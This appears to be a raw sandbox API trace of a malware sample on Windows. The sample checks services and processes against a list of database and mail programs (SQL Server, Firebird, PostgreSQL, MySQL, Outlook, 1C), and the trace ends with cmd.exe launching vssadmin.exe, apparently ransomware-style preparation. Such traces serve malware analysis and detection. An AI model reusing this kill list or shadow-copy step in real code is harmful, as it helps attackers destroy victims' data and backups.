	[0099.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0099.871] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0099.871] lstrlenW (lpString="UxSms") returned 5
	[0099.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0099.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0099.871] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0099.871] lstrlenW (lpString="VSS") returned 3
	[0099.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0099.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0099.872] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0099.872] lstrlenW (lpString="WdiServiceHost") returned 14
	[0099.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0099.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0099.872] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0099.872] lstrlenW (lpString="WdiSystemHost") returned 13
	[0099.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0099.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0099.872] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0099.872] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0099.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.872] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.872] lstrlenW (lpString="Winmgmt") returned 7
	[0099.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0099.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0099.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0099.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0099.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0099.873] lstrlenW (lpString="WPDBusEnum") returned 10
	[0099.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0099.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0099.873] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0099.873] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0099.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0099.873] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0099.873] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8
	[0099.878] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0099.879] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0099.880] lstrlenW (lpString="System") returned 6
	[0099.880] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0099.880] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0099.880] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0099.880] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0099.880] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0099.880] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0099.880] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0099.880] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0099.881] lstrlenW (lpString="smss.exe") returned 8
	[0099.881] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0099.881] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0099.881] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0099.881] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0099.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0099.881] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0099.881] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0099.881] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0099.883] lstrlenW (lpString="csrss.exe") returned 9
	[0099.883] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0099.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0099.883] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0099.883] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0099.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0099.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0099.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0099.883] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0099.885] lstrlenW (lpString="wininit.exe") returned 11
	[0099.885] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0099.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0099.885] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0099.885] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0099.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0099.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0099.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0099.885] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0099.886] lstrlenW (lpString="csrss.exe") returned 9
	[0099.886] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0099.886] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0099.887] lstrlenW (lpString="winlogon.exe") returned 12
	[0099.887] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0099.888] lstrlenW (lpString="services.exe") returned 12
	[0099.888] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0099.889] lstrlenW (lpString="lsass.exe") returned 9
	[0099.889] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0099.890] lstrlenW (lpString="lsm.exe") returned 7
	[0099.890] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.891] lstrlenW (lpString="svchost.exe") returned 11
	[0099.891] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.892] lstrlenW (lpString="svchost.exe") returned 11
	[0099.892] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.893] lstrlenW (lpString="svchost.exe") returned 11
	[0099.893] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.894] lstrlenW (lpString="svchost.exe") returned 11
	[0099.895] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.895] lstrlenW (lpString="svchost.exe") returned 11
	[0099.895] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0099.896] lstrlenW (lpString="audiodg.exe") returned 11
	[0099.896] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.897] lstrlenW (lpString="svchost.exe") returned 11
	[0099.897] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.898] lstrlenW (lpString="svchost.exe") returned 11
	[0099.899] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0099.900] lstrlenW (lpString="dwm.exe") returned 7
	[0099.900] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0099.901] lstrlenW (lpString="explorer.exe") returned 12
	[0099.901] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0100.017] lstrlenW (lpString="spoolsv.exe") returned 11
	[0100.017] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0100.018] lstrlenW (lpString="taskhost.exe") returned 12
	[0100.018] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.019] lstrlenW (lpString="svchost.exe") returned 11
	[0100.019] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0100.020] lstrlenW (lpString="taskeng.exe") returned 11
	[0100.020] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0100.021] lstrlenW (lpString="taskhost.exe") returned 12
	[0100.021] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0100.022] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0100.022] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0100.023] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0100.023] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0100.025] lstrlenW (lpString="zoo.exe") returned 7
	[0100.025] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0100.026] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0100.026] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0100.026] lstrlenW (lpString="determined.exe") returned 14
	[0100.027] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0100.027] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0100.027] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0100.028] lstrlenW (lpString="hansen mails.exe") returned 16
	[0100.028] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0100.029] lstrlenW (lpString="choirsas.exe") returned 12
	[0100.029] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0100.034] lstrlenW (lpString="skirt_races.exe") returned 15
	[0100.034] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0100.035] lstrlenW (lpString="actors_radius.exe") returned 17
	[0100.035] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0100.036] lstrlenW (lpString="scheduling.exe") returned 14
	[0100.036] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0100.037] lstrlenW (lpString="michael.exe") returned 11
	[0100.037] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0100.356] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0100.356] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0100.357] lstrlenW (lpString="pleasure.exe") returned 12
	[0100.357] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0100.358] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0100.358] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0100.359] lstrlenW (lpString="electron.exe") returned 12
	[0100.359] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0100.360] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0100.360] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0100.361] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0100.361] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0100.362] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0100.362] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0100.363] lstrlenW (lpString="pointer.exe") returned 11
	[0100.363] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0100.364] lstrlenW (lpString="gd logos.exe") returned 12
	[0100.364] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0100.365] lstrlenW (lpString="algebra validity.exe") returned 20
	[0100.365] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0100.367] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0100.367] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0100.368] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0100.376] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0100.377] lstrlenW (lpString="p.exe") returned 5
	[0100.377] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0100.378] lstrlenW (lpString="cmd.exe") returned 7
	[0100.378] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0100.417] lstrlenW (lpString="conhost.exe") returned 11
	[0100.417] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0100.418] lstrlenW (lpString="vssadmin.exe") returned 12
